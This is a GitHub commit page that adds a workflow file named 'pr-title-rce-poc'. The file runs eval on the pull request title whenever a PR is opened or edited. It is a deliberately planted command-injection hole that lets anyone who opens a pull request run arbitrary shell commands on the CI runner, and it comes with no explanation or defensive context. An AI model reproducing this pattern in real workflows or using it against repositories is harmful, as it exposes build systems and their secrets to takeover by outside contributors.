Skip to content

Commit 2a8806c

Browse files
Create to.yml
1 parent e3f2d73 commit 2a8806c

File tree

1 file changed

+17
-0
lines changed

1 file changed

+17
-0
lines changed

.github/workflows/to.yml

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
name: pr-title-rce-poc
2+
3+
on:
4+
pull_request:
5+
types: [opened, edited]
6+
7+
jobs:
8+
exploit-via-pr-title:
9+
runs-on: ubuntu-latest
10+
11+
steps:
12+
- name: Dump PR Title as Command
13+
env:
14+
PAYLOAD: ${{ github.event.pull_request.title }}
15+
run: |
16+
echo "[+] Executing injected PR title payload"
17+
eval "$PAYLOAD"

0 commit comments

Comments
 (0)